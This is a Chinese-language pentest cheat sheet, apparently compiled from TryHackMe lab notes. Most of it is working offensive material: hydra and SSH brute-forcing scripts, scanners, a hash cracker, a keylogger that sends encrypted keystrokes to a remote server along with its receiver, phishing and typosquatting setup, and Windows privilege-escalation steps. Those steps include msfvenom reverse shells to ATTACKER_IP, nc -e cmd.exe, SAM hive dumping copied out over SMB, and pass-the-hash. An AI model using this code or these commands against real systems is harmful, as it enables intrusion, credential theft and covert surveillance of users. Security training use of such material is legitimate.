工具和代码分析
hydra
hydra -l user -P passlist.txt ftp://MACHINE_IP # 爆破ftp
hydra -l <username> -P <full path to pass> MACHINE_IP -t 4 ssh # 爆破ssh
hydra -l <username> -P <wordlist> MACHINE_IP http-post-form "/login.php:username=^USER^&password=^PASS^:F=incorrect" -V # 暴力破解web表单
渗透测试python代码
子域名扫描
# python subdomain_enumeration.py -w subdomain.txt -d baidu.com
import argparse
import requests
import concurrent.futures
def get_word_list(file_path):
with open(file_path, 'r' ,encoding='utf-8') as r:
word_list = [i.strip() for i in r.readlines()]
return word_list
def subdomain_enumeration(domain, word_list, thread):
def subdomain_enum(sub, domain):
sub_domains = f"http://{sub}.{domain}"
try:
requests.get(sub_domains)
except requests.ConnectionError:
pass
else:
print("Valid domain: ",sub_domains)
with concurrent.futures.ThreadPoolExecutor(max_workers=int(thread)) as executor:
futures = [executor.submit(subdomain_enum, sub, domain) for sub in word_list]
concurrent.futures.wait(futures)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="subdomain enumeration")
parser.add_argument("-w", "--word", help="Specify the dictionary file path", required=True)
parser.add_argument("-d", "--domain", help="Specify the primary domain", required=True)
parser.add_argument("-t", "--thread", help="Specify the thread number", required=False, default="20")
args = parser.parse_args()
word_list = get_word_list(args.word)
subdomain_enumeration(args.domain, word_list, args.thread)
目录扫描
import argparse
import requests
import concurrent.futures
def get_word_list(file_path):
with open(file_path, 'r' ,encoding='utf-8') as r:
word_list = [i.strip() for i in r.readlines()]
return word_list
def directory_enumeration(url, word_list, prefix="", suffix="", thread="20"):
def dir_enum(url, prefix, dir_str, suffix):
dir_enum = f"{url}/{prefix}{dir_str}{suffix}"
r = requests.get(dir_enum)
if r.status_code==404:
pass
else:
print("Valid directory:" ,dir_enum, r.status_code)
url = url.rstrip("/")
with concurrent.futures.ThreadPoolExecutor(max_workers=int(thread)) as executor:
futures = [executor.submit(dir_enum, url, prefix, dir_str, suffix) for dir_str in word_list]
concurrent.futures.wait(futures)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="directory enumeration")
parser.add_argument("-w", "--word", help="Specify the dictionary file path", required=True)
parser.add_argument("-u", "--url", help="Specify the url", required=True)
parser.add_argument("-pf", "--prefix", help="Specify the prefix", required=False, default="")
parser.add_argument("-sf", "--suffix", help="Specify the suffix", required=False, default="")
parser.add_argument("-t", "--thread", help="Specify the thread number", required=False, default="20")
args = parser.parse_args()
word_list = get_word_list(args.word)
directory_enumeration(args.url, word_list, args.prefix, args.suffix, args.thread)
网络扫描
from scapy.all import Ether, ARP, srp
import argparse
import concurrent.futures
def network_scanner(ip_range, interface, broadcastMac, thread):
packet = Ether(dst=broadcastMac)/ARP(pdst = ip_range)
ans, _ = srp(packet, timeout =2, iface=interface, inter=0.1)
def network_scan(receive):
print (receive.sprintf(r"%Ether.src% - %ARP.psrc%"))
with concurrent.futures.ThreadPoolExecutor(max_workers=int(thread)) as executor:
futures = [executor.submit(network_scan, receive) for _, receive in ans]
concurrent.futures.wait(futures)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="port scaner")
parser.add_argument("-i", "--ip_range", help="Specify the IP range", required=True)
parser.add_argument("-I", "--interface", help="Specify the interface", required=False, default="eth0")
parser.add_argument("-m", "--mac", help="Specify the broadcastMac", required=False, default="ff:ff:ff:ff:ff:ff")
parser.add_argument("-t", "--thread", help="Specify the thread number", required=False, default="20")
args = parser.parse_args()
network_scanner(args.ip_range, args.interface, args.mac, args.thread)
端口扫描
import argparse
import sys
import socket
import concurrent.futures
def get_port_list(port_str):
port_list = []
for i in port_str.replace(' ', '').split(','):
if '-' in i:
[port_list.append(j) for j in range(int(i[:i.find('-')]), int(i[i.find('-')+1:]) + 1)]
else:
port_list.append(int(i))
return list(set(port_list))
def probe_port(ip, port, result = 1):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
r = sock.connect_ex((ip, port))
if r == 0:
result = r
sock.close()
except Exception as e:
pass
return result
def port_scaner(ip, port_list, thread):
open_ports = []
def scan(ip, port, open_ports):
sys.stdout.flush()
response = probe_port(ip, port)
if response == 0:
open_ports.append(port)
with concurrent.futures.ThreadPoolExecutor(max_workers=int(thread)) as executor:
futures = [executor.submit(scan, ip, port, open_ports) for port in port_list]
concurrent.futures.wait(futures)
return open_ports
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="port scaner")
parser.add_argument("-i", "--ip", help="Specify the IP", required=True)
parser.add_argument("-p", "--port", help="Specify the port range", required=True)
parser.add_argument("-t", "--thread", help="Specify the thread number", required=False, default="20")
args = parser.parse_args()
port_list = get_port_list(args.port)
open_ports = port_scaner(args.ip, port_list, args.thread)
if open_ports:
print ("Open Ports are: ")
print (sorted(open_ports))
else:
print ("Looks like no ports are open :(")
文件下载器
import argparse
import requests
def file_downloader(url,save_path):
r = requests.get(url, allow_redirects=True)
open(save_path, 'wb').write(r.content)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="file downloader")
parser.add_argument("-u", "--url", help="Specify the download URL", required=True)
parser.add_argument("-s", "--save", help="Specify the file save path", required=True)
args = parser.parse_args()
file_downloader(args.url, args.save)
hash破解
import argparse
import hashlib
def get_hash_type_object(hash_type):
if hash_type == "md5":
return hashlib.md5
if hash_type == "sha1":
return hashlib.sha1
if hash_type == "sha224":
return hashlib.sha224
if hash_type == "sha256":
return hashlib.sha256
if hash_type == "sha384":
return hashlib.sha384
if hash_type == "sha512":
return hashlib.sha512
def hash_cracker(hash, word_list_path, hash_mode):
with open(word_list_path, 'r') as file:
for line in file.readlines():
hash_ob = get_hash_type_object(hash_mode)(line.strip().encode())
hashed_pass = hash_ob.hexdigest()
if hashed_pass == hash:
print('Found cleartext input! ' + line.strip())
exit(0)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="hash cracker")
parser.add_argument("-w", "--word", help="Specify the download URL", required=True)
parser.add_argument("-hs", "--hash", help="Specify the file save path", required=True)
parser.add_argument("-t", "--type", help="Specify the hash type(md5,sha1,sha224,sha256,sha384,sha512)", required=True)
args = parser.parse_args()
hash_cracker(args.hash, args.word, args.type)
ssh暴力破解
import argparse
import paramiko
import concurrent.futures
def ssh_connect(ip, port, username, password, code=0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(ip, port=port, username=username, password=password)
except paramiko.AuthenticationException:
code = 1
ssh.close()
return code
def get_word_list(file_path):
with open(file_path, 'r' ,encoding='utf-8') as r:
word_list = [i.strip() for i in r.readlines()]
return word_list
def ssh_brute_forcing(ip, user, passwd_list, port, thread):
def try_connect(ip, username, password, port):
try:
response = ssh_connect(ip, port, username, password)
if response == 0:
print('password found: '+ password)
exit(0)
except Exception as e:
print(e)
pass
with concurrent.futures.ThreadPoolExecutor(max_workers=int(thread)) as executor:
futures = [executor.submit(try_connect, ip, user, passwd, port) for passwd in passwd_list]
concurrent.futures.wait(futures)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="port scaner")
parser.add_argument("-i", "--ip", help="Specify the IP", required=True)
parser.add_argument("-u", "--username", help="Specify the username", required=True)
parser.add_argument("-pf", "--password_file", help="Specify the password file path", required=True)
parser.add_argument("-p", "--port", help="Specify the port", required=False, default="22")
parser.add_argument("-t", "--thread", help="Specify the thread number", required=False, default="1")
args = parser.parse_args()
password_list = get_word_list(args.password_file)
ssh_brute_forcing(args.ip, args.username, password_list, args.port, args.thread)
键盘记录器
import argparse
import requests
import keyboard
import hashlib
import base64
from cryptography.fernet import Fernet
class keyboard_class:
def __init__(self, save_file_path="", url="", request_type="get", passwd="1234567812345678"):
self.base_str = "12345678900987654321abccba"
self.save_file_path = save_file_path
self.url = url
self.request_type = request_type
self.passwd = passwd
self.binary_passwd = self.get_passwd()
self.aes = Fernet(self.binary_passwd)
def get_passwd(self):
byte1 = hashlib.sha256(self.base_str.encode()).hexdigest().encode('utf-8')
byte2 = hashlib.sha256(self.passwd.encode()).hexdigest().encode('utf-8')
byte3 = bytes(a ^ b for a, b in zip(byte1, byte2))
byte4 = hashlib.sha1(byte1 + byte2 + byte3).hexdigest().encode('utf-8')
byte5 = bytes((a ^ b) ^ (c ^ d) for a, b, c, d in zip(byte1, byte2, byte3, byte4))
return base64.b64encode(byte5[:32])
def encrypt(self, encrypt_str):
return base64.b64encode(self.aes.encrypt(encrypt_str.encode('utf-8'))).decode('utf-8')
def call(self, x):
try:
if self.save_file_path != "":
with open(self.save_file_path, 'a+', encoding='utf-8') as a:
a.write(self.encrypt(x.name) + '\n')
if self.url != "":
if self.request_type.upper() == "POST":
requests.post(self.url, headers={'tokenID': f'{self.encrypt(x.name)}'}, data={}, verify=False)
else:
requests.get(self.url, params={'tokenID': f'{self.encrypt(x.name)}'}, verify=False)
except Exception:
pass
def start(self):
keyboard.on_press(self.call)
keyboard.wait()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Keyloggers")
parser.add_argument("-u", "--url", help="Specify the download URL", required=False, default="")
parser.add_argument("-s", "--save", help="Specify the file save path", required=False, default="")
parser.add_argument("-p", "--passwd", help="Specify the password ", required=False, default="1234567812345678")
parser.add_argument("-rt", "--request_type", help="Specify the request type ", required=False, default="")
args = parser.parse_args()
keyboard_class = keyboard_class(args.save, args.url, args.request_type, args.passwd)
keyboard_class.start()
键盘监听解密器
import argparse
import keyboard
import hashlib
import base64
from cryptography.fernet import Fernet
from fastapi import FastAPI, Request, Query
from pydantic import BaseModel
from typing import Optional
import logging
class keyboard_class:
def init(self, read_file_path="", save_file_path="decrypt.txt", ip="", port="", passwd="1234567812345678"):
self.base_str = "12345678900987654321abccba"
self.read_file_path = read_file_path
self.save_file_path = save_file_path
self.ip = ip
self.port = port
self.passwd = passwd
self.binary_passwd = self.get_passwd()
self.aes = Fernet(self.binary_passwd)
def get_passwd(self):
byte1 = hashlib.sha256(self.base_str.encode()).hexdigest().encode('utf-8')
byte2 = hashlib.sha256(self.passwd.encode()).hexdigest().encode('utf-8')
byte3 = bytes(a ^ b for a, b in zip(byte1, byte2))
byte4 = hashlib.sha1(byte1 + byte2 + byte3).hexdigest().encode('utf-8')
byte5 = bytes((a ^ b) ^ (c ^ d) for a, b, c, d in zip(byte1, byte2, byte3, byte4))
return base64.b64encode(byte5[:32])
def decrypt(self, decrypt_str):
return self.aes.decrypt(base64.b64decode(decrypt_str)).decode('utf-8')
def decrypt_file(self):
with open(self.read_file_path, 'r', encoding='utf-8') as r:
with open(self.save_file_path, 'w', encoding='utf-8') as w:
for i in [i.strip() for i in r.readlines()]:
w.write(self.decrypt(i) + '\n')
def decrypt_write(self,decrypt_string):
with open(self.save_file_path, 'a+', encoding='utf-8') as w:
w.write(self.decrypt(decrypt_string) + '\n')
def stat_listen(self):
app = FastAPI()
logging.getLogger().handlers = []
class TokenData(BaseModel):
tokenID: str
@app.api_route("/", methods=["GET", "POST"])
async def api_route(request: Request, tokenID: Optional[str] = Query(None)):
try:
if request.method == "GET":
if tokenID:
self.decrypt_write(tokenID)
return
elif request.method == "POST":
tokenID = request.headers.get("tokenID")
self.decrypt_write(tokenID)
return
except Exception as e:
print(e)
return
import uvicorn
uvicorn.run(app, host=self.ip, port=self.port)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Keyloggers")
parser.add_argument("-i", "--ip", help="Specify the Listen to IP addresses", required=False, default="")
parser.add_argument("-o", "--out", help="Specify the file save path", required=False, default="decrypt.txt")
parser.add_argument("-p", "--port", help="Specify the Listen to port", required=False, default="80")
parser.add_argument("-P", "--passwd", help="Specify the password ", required=False, default="1234567812345678")
parser.add_argument("-f", "--file", help="Specify the decrypt file path", required=False, default="")
args = parser.parse_args()
keyboard = keyboard_class()
if args.file != "":
keyboard.init(read_file_path=args.file, save_file_path=args.out, passwd=args.passwd)
keyboard.decrypt_file()
if args.ip != "":
keyboard.init(save_file_path=args.out, ip=args.ip, port=args.port, passwd=args.passwd)
keyboard.stat_listen()
信息收集和漏洞扫描
被动侦察
whois
whois <DOMAIN_NAME>
# 将提供如下信息
注册商 WHOIS 服务器
注册商网址
记录创建日期
记录更新日期
注册人联系信息和地址(除非出于隐私原因而保留)
管理员联系信息和地址(除非出于隐私原因而保留)
技术联系信息和地址(除非出于隐私原因而保留)
nslookup and dig
nslookup
nslookup <DOMAIN_NAME>
nslookup -type=A tryhackme.com 1.1.1.1
nslookup -type=MX tryhackme.com
dig
dig @1.1.1.1 tryhackme.com
dig @1.1.1.1 tryhackme.com MX
常见type
A # IPv4 地址
AAAA # IPv6 地址
CNAME # 规范名称
MX # 邮件服务器
SOA # 授权开始
TXT # TXT 记录
DNSDumpster
https://dnsdumpster.com/
shodan
https://www.shodan.io/
例子
whois tryhackme.com # 查询WHOIS记录
nslookup -type=A tryhackme.com # 查找DNS A 记录
nslookup -type=MX tryhackme.com 1.1.1.1 # 在DNS服务器上查找DNS MX 记录
nslookup -type=TXT tryhackme.com # 查找DNS TXT 记录
dig tryhackme.com A # 查找DNS A 记录
dig @1.1.1.1 tryhackme.com MX # 在DNS服务器上查找DNS MX 记录
dig tryhackme.com TXT # 查找DNS TXT 记录
主动侦察
浏览器常见插件
FoxyProxy # 快速更改用于访问目标网站的代理服务器
User-Agent Switcher and Manager # 假装从不同的操作系统或不同的 Web 浏览器访问网页
Wappalyzer # 网站使用技术探查
ping
ping -c 5 10.10.130.11
ping -s 65535 10.10.130.11
man ping
路由追踪
# linux
traceroute 10.10.130.11
# windows
tracert 10.10.130.11
远程登录
telnet 10.10.130.11 PORT
netcat
nc 10.10.130.11 PORT
nc -lnvp 443
nmap 实时主机发现
枚举目标
nmap IP HOST HOST # 将扫描三个地址
nmap 10.11.12.15-20 # 范围扫描
nmap 10.11.12.15/30 # 利用掩码指定范围
nmap -iL list_of_hosts.txt # 从文件输入
nmap -sL TARGETS # 列出扫描目标但不进行扫描
# 如果不希望nmap连接dns服务可以用 -n 参数
arp协议请求
sudo arp-scan 10.10.210.6/24
nmap -PR -sn ATTACKBOX_IP/24
icmp协议请求
sudo nmap -PE -sn MACHINE_IP/24 # 使用 ICMP 回显请求来发现活动主机
nmap -PP -sn MACHINE_IP/24 # 使用时间戳请求
nmap -PM -sn MACHINE_IP/24 # 使用地址掩码查询
使用TCP和UDP的nmap主机发现
# TCP SYN ping
nmap -PS -sn MACHINE_IP/24
nmap -PS80 -sn MACHINE_IP/24
nmap -PS21-25 -sn MACHINE_IP/24
nmap -PS80,443 -sn MACHINE_IP/24
# TCP ACK ping
sudo nmap -PA -sn MACHINE_IP/24
sudo nmap -PA80 -sn MACHINE_IP/24
sudo nmap -PA21-25 -sn MACHINE_IP/24
sudo nmap -PA80,443 -sn MACHINE_IP/24
# UDP ping
sudo nmap -PU -sn MACHINE_IP/24
sudo nmap -PU80 -sn MACHINE_IP/24
sudo nmap -PU21-25 -sn MACHINE_IP/24
sudo nmap -PU80,443 -sn MACHINE_IP/24
# masscan
apt install masscan
masscan MACHINE_IP/24 -p443
masscan MACHINE_IP/24 -p80,443
masscan MACHINE_IP/24 -p22-25
masscan MACHINE_IP/24 ‐‐top-ports 100
使用反向DNS查找
Nmap 的默认行为是使用反向 DNS 联机主机。因为主机名可以透露很多信息,所以这可能是一个 有用的步骤。但是,如果您不想发送此类 DNS 查询,则可以跳过此步骤。-n
默认情况下,Nmap 会查找在线主机;但是,您可以使用该选项来查询 DNS 服务器 甚至对于离线主机。如果要使用特定的 DNS 服务器,可以添加该选项。-R --dns-servers DNS_SERVER
基本例子
sudo nmap -PR -sn MACHINE_IP/24 # ARP的扫描
sudo nmap -PE -sn MACHINE_IP/24 # ICMP回声扫描
sudo nmap -PP -sn MACHINE_IP/24 # ICMP 时间戳扫描
sudo nmap -PM -sn MACHINE_IP/24 # ICMP地址掩码扫描
sudo nmap -PS22,80,443 -sn MACHINE_IP/30 # TCP SYN Ping 扫描
sudo nmap -PA22,80,443 -sn MACHINE_IP/30 # TCPACK Ping 扫描
sudo nmap -PU53,161,162 -sn MACHINE_IP/30 # UDP的Ping 扫描
-n # 没有DNS查找
-R # 所有主机的反向 DNS 查找
-sn # 仅限主机发现
nmap 基本端口扫描
nmap -sT MACHINE_IP # TCP 连接扫描
sudo nmap -sS MACHINE_IP # TCP SYN 扫描
sudo nmap -sU MACHINE_IP # UDP的扫描
-p- # 所有端口
-p1-1023 # 扫描端口 1 至 1023
-F # 100 个最常见的端口
-r # 按连续顺序扫描端口
-T<0-5> # -T0 最慢,T5 最快
--max-rate 50 # 速率 <= 50 个数据包/秒
--min-rate 15 # 速率 >= 15 个数据包/秒
--min-parallelism 100 # 至少 100 个探头并行
nmap 高级端口扫描
# 示例命令
sudo nmap -sN 10.10.208.161 # TCP空扫描
sudo nmap -sF 10.10.208.161 # TCPFIN 扫描
sudo nmap -sX 10.10.208.161 # TCP圣诞扫描
sudo nmap -sM 10.10.208.161 # TCP迈蒙扫描
sudo nmap -sA 10.10.208.161 # TCP ACK 扫描
sudo nmap -sW 10.10.208.161 # TCP窗口扫描
sudo nmap --scanflags URGACKPSHRSTSYNFIN 10.10.208.161 # 自定义 TCP 扫描
sudo nmap -S SPOOFED_IP 10.10.208.161 # 欺骗源 IP
--spoof-mac SPOOFED_MAC # 欺骗性 MAC 地址
nmap -D DECOY_IP,ME 10.10.208.161 # 诱饵扫描
sudo nmap -sI ZOMBIE_IP 10.10.208.161 # 空闲(僵尸)扫描
# 参数示例
-f # 将 IP 数据分割成 8 个字节
-ff # 将 IP 数据分段为 16 个字节
--source-port PORT_NUM # 指定源端口号
--data-length NUM # 附加随机数据以达到给定长度
--reason # 解释了 Nmap 是如何得出结论的
-v # 输出详细信息
-vv # 输出更多详细信息
-d # 输出调试信息
-dd # 输出更多调试信息
# 这些扫描类型依赖于以意外方式设置 TCP 标志来提示端口进行回复。Null、FIN 和 Xmas 扫描 触发来自关闭端口的响应,而 Maimon、ACK 和 Window 扫描引发来自打开和关闭的响应端口。
nmap 后端口扫描
# 常见参数
-sV # 确定开放端口上的服务/版本信息
-sV --version-light # 尝试最有可能的探针 (2)
-sV --version-all # 尝试所有可用的探头 (9)
-O # 检测操作系统
--traceroute # 运行跟踪路由到 Target
--script=SCRIPTS # 要运行的 Nmap 脚本
-sC或--script=default # 运行默认脚本
-A # 相当于-sV -O -sC --traceroute
-oN # 以正常格式保存输出
-oG # 以 grepable 格式保存输出
-oX # 以 XML 格式保存输出
-oA # 以普通、XML 和 Grepable 格式保存输出
# 查看nmap脚本
cd /usr/share/nmap/scripts && ls
# 脚本类别
auth # 身份验证相关脚本
broadcast # 通过发送广播消息发现主持人
brute # 对登录名执行暴力破解密码审核
default # 默认脚本,与-sC
discovery # 检索可访问的信息,例如数据库表和 DNS 名称
dos # 检测易受拒绝服务 (DoS) 攻击的服务器)
exploit # 尝试利用各种易受攻击的服务
external # 使用第三方服务(如 Geoplugin 和 Virustotal)进行检查
fuzzer # 发起模糊测试攻击
intrusive # 侵入性脚本,例如暴力攻击和漏洞利用
malware # 扫描后门
safe # 不会使目标崩溃的安全脚本
version # 检索服务版本
vuln # 检查漏洞或利用易受攻击的服务
协议和服务器
# http MIMT攻击工具
Ettercap、Bettercap
# 常见协议添加tls防护后的名称及端口
HTTP:80 -> HTTPS:443
FTP:21 -> FTPS:990
SMTP:25 -> SMTPS:465
POP3:110 -> POP3S:995
IMAP:143 -> IMAPS:993
DNS:53 -> DOT:853
# 密码爆破
hydra -l username -P wordlist.txt server service
## 示例
hydra -l mark -P /usr/share/wordlists/rockyou.txt MACHINE_IP ftp
hydra -l mark -P /usr/share/wordlists/rockyou.txt ftp://MACHINE_IP
hydra -l frank -P /usr/share/wordlists/rockyou.txt MACHINE_IP ssh
## 额外参数
-s # PORT为相关服务指定非默认端口。
-V/-vV # 输出详细信息使 Hydra 显示正在尝试的用户名和密码组合。
-t n # 其中 n 是与目标的并行连接数。
-d # 用于调试,以获取有关正在发生的操作的更多详细信息。
攻击和漏洞利用
OWASP
访问控制损坏
示例
https://bank.thm/account?id=1 # id换成2
加密失败
# 示例
数据库存储文件泄露
在网站中存在数据库文件,可以下载并访问
hash碰撞(https://crackstation.net/ https://www.cmd5.org/)
注入
# 命令注入
## 命令注入示例
http://www.xxx.com?ping=127.0.0.1
## poc示例 127.0.0.1;ls
# sql注入
## 示例
http://www.xxx.com?id=1
## poc示例
1 or 1=1 --+
不安全的设计
# 不安全的密码重置
## 例子
如验证码没有限制暴力破解频率,导致可以重置用户密码
安全配置错误
# 示例
web框架的调试功能意外开放
易受攻击的过时组件
如shiro
识别和认证失败
# 暴力攻击
# 使用弱密码
# 弱会话cookie
## 例子
用户名在开头加个空格就可以重注册用户名
软件和数据完整性故障
#软件和数据完整性故障
## 软件完整性故障例子
供应链攻击
https://www.srihash.org/可在该网址计算软件库hash
# 数据完整性故障
## 例子
jwt支持None加密算法
安全日志记录和监控失败
如系统未开启日志功能
服务器端请求伪造
ssrf 攻击
网络钓鱼
网络钓鱼需要做什么
域名:
您需要注册一个看起来很真实的域名或一个模仿另一个域名身份的域名。有关如何创建完美域名的详细信息
SSL/TLS 证书:
为您选择的域名创建 SSL/TLS 证书将为攻击增加一层额外的真实性。
电子邮件服务器/帐户:
您需要设置电子邮件服务器或向 SMTP 电子邮件提供商注册。
DNS域名记录:
设置 SPF、DKIM、DMARC 等 DNS 记录将提高电子邮件的送达率,并确保它们进入收件箱而不是垃圾邮件文件夹。
网页服务器:
您需要设置网络服务器或从公司购买网络托管来托管您的网络钓鱼网站。将SSL / TLS添加到网站将为其提供额外的真实性。
分析功能:
当网络钓鱼活动是红队参与的一部分时,保留分析信息更为重要。您需要一些东西来跟踪已发送、打开或单击的电子邮件。您还需要将其与用户提供个人信息或下载软件的网络钓鱼网站中的信息相结合。
自动化和有用的软件:
使用以下工具可以快速实现上述一些基础设施的自动化。
GoPhish -(开源网络钓鱼框架)-getgophish.com
GoPhish 是一个基于 Web 的框架,可使设置网络钓鱼活动更加简单。GoPhish允许您存储用于发送电子邮件的SMTP服务器设置,具有基于Web的工具,用于使用简单的WYSIWYG(所见即所得)编辑器创建电子邮件模板。您还可以安排电子邮件的发送时间,并有一个分析仪表板,显示已发送、打开或点击的电子邮件数量。
SET - (社会工程工具包) - trustedsec.com
社会工程工具包包含多种工具,但网络钓鱼的一些重要工具是能够创建鱼叉式网络钓鱼攻击并部署常见网站的虚假版本以诱骗受害者输入其凭据。
GoPhish
可以用GoPhish进行高效钓鱼邮件发送
域名选择攻略
# 选择过期域名
# 拼写错误域名
拼写错误:goggle.com 与 google.com
附加时段:go.ogle.com VS google.com
将数字切换为字母:g00gle.com 与 google.com
措辞:googles.com 与 google.com
附加词:googleresults.com 与 google.com
# 切换顶级域名
google.com -> google.cn
# IDN 同形异义词攻击/脚本欺骗
利用unicode 看起来完全相同但编码不同的字符注册
投送病毒
使用ms office(宏病毒)
使用浏览器漏洞
浏览器漏洞通常不是红队参与的常见路径,除非您事先了解现场使用的旧技术。许多浏览器都是最新的,由于浏览器的开发方式而难以利用,如果向开发人员报告,这些漏洞通常价值不菲。
windows 权限提升
从常见地点收集密码
无人参与的windows安装
在大量主机上安装 Windows 时,管理员可以使用 Windows 部署服务,它允许通过网络将单个操作系统映像部署到多个主机。这些类型的安装称为无人参与安装,因为它们不需要用户交互。此类安装需要使用管理员帐户来执行初始设置,该设置最终可能会存储在计算机的以下位置:
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\无人值守\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
作为这些文件的一部分,您可能会遇到凭据:
<Credentials>
<Username>Administrator</Username>
<Domain>thm.local</Domain>
<Password>MyPassword123</Password>
</Credentials>
powershell 历史记录
# cmd
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
# powershell
type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
保存的windows凭据
cmdkey /list # 列出已保存的凭据
runas /savecred /user:admin cmd.exe # 如果上一条命令中有可用的凭据可运行这一条
IIS配置
Internet Information Services (IIS) 是 Windows 安装上的默认 Web 服务器。IIS 上的网站配置存储在一个名为web.config的文件中,该文件可以存储数据库的密码或配置的身份验证机制。根据已安装的 IIS 版本,我们可以在以下位置之一找到 web.config
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
下面是在文件上查找数据库连接字符串的快速方法:
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
从软件中检索凭据
putty
PuTTY 是 Windows 系统上常见的 SSH 客户端。用户不必每次都指定连接的参数,而是可以存储会话,其中可以存储 IP、用户和其他配置以供以后使用。虽然 PuTTY 不允许用户存储其 SSH 密码,但它将存储包含明文身份验证凭据的代理配置。
若要检索存储的代理凭据,可以使用以下命令在以下注册表项下搜索ProxyPassword
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
注意:Simon Tatham 是 PuTTY 的创建者(他的名字是路径的一部分),而不是我们检索密码的用户名。运行上述命令后,存储的代理用户名也应该可见。
快速提权
计划任务
schtasks /query /tn vulntask /fo list /v # 列举计划任务
icacls c:\tasks\schtask.bat # 查看文件的运行权限
schtasks /run /tn vulntask # 立即运行计划任务
msi安装程序文件提权
# 利用msi提权需要设置以下两个注册表的值
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
# 生成恶意msi
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi
# 运行msi
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
滥用服务错误配置
服务可执行文件的不安全权限
wmic service get name,displayname,pathname,startmode # 查看所有服务
sc qc WindowsScheduler # 查看服务配置如果存在SERVICE_START_NAME : LocalSystem则代表可提权
icacls C:\PROGRA~2\SYSTEM~1\WService.exe # 查看可执行文件权限
#生成反向shell木马并建立监听
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o shell.exe && nc -lnvp 4447
# 重新启动服务
sc stop windowsscheduler # 停止服务
sc start windowsscheduler # 启动服务
未加引号的服务路径
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """ # 查看有可能配置错误的服务
sc qc WindowsScheduler # 查看服务配置如果存在SERVICE_START_NAME : LocalSystem则代表可提权
icacls c:\MyPrograms # 查看文件夹权限
#生成反向shell木马并建立监听
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o shell.exe && nc -lnvp 4447
# 重新启动服务
sc stop THMService
sc start THMService
不安全的服务权限
accesschk64.exe -qlc thmservice # 检查服务器DACL
# accesschk64 下载位置
https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk
#生成反向shell木马并建立监听
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o shell.exe && nc -lnvp 4447
# 赋予权限并修改服务配置
icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F # 向所有用户赋予权限
sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem # 修改服务配置
# 重新启动服务
sc stop THMService
sc start THMService
滥用危险特权
查看特权
whoami /priv # 查看被分配的权限
# 可利用权限的完整列表
https://github.com/gtworek/Priv2Admin
SeBackup / SeRestore
SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件,而忽略任何现有的 DACL。我们将要研究的配置单元包括复制 SAM 和 SYSTEM 注册表配置单元以提取本地管理员的密码哈希
#提取hash
reg save hklm\system C:\Users\THMBackup\system.hive
reg save hklm\sam C:\Users\THMBackup\sam.hive
# 传回攻击机
## 攻击机开启smb服务
python /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share
## 受害机copy文件至攻击机
copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\
#使用 impacket 检索用户的密码哈
python /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
# 使用管理员的哈希值来执行 Pass-the-Hash 攻击,并使用 SYSTEM 权限访问目标计算机
python /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 [email protected]
SeTake所有权
SeTakeOwnership 权限允许用户获取系统上任何对象的所有权,包括文件和注册表项,这为攻击者提升权限提供了许多可能性,例如,我们可以搜索作为 SYSTEM 运行的服务并获取服务的可执行文件的所有权。
Utilman 是一个内置的 Windows 应用程序,用于在锁定屏幕期间提供轻松访问选项
takeown /f C:\Windows\System32\Utilman.exe # 获取Utilman所有权
icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F # 分配当前用户所有权限
copy cmd.exe utilman.exe # 利用cmd替换utilman
#锁定屏幕并点击类似时钟一样的图标
SeImpersonate / SeAssignPrimaryToken
这些权限允许进程模拟其他用户并代表他们执行操作。模拟通常包括能够在另一个用户的安全上下文下生成进程或线程。
# 建立监听
nc -lvp 4442
# 使用漏洞触发
c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"
滥用易受攻击的软件
wmic product get name,version,vendor # 转储已安装的软件信息(不一定全部输出)
wmic product # 转储已安装的软件信息(更全面)
# 找到软件和版本后可在以下网站找漏洞或直接搜索
https://www.exploit-db.com/
https://packetstormsecurity.com/
自动收集工具
# WinPEAS
## 下载
https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
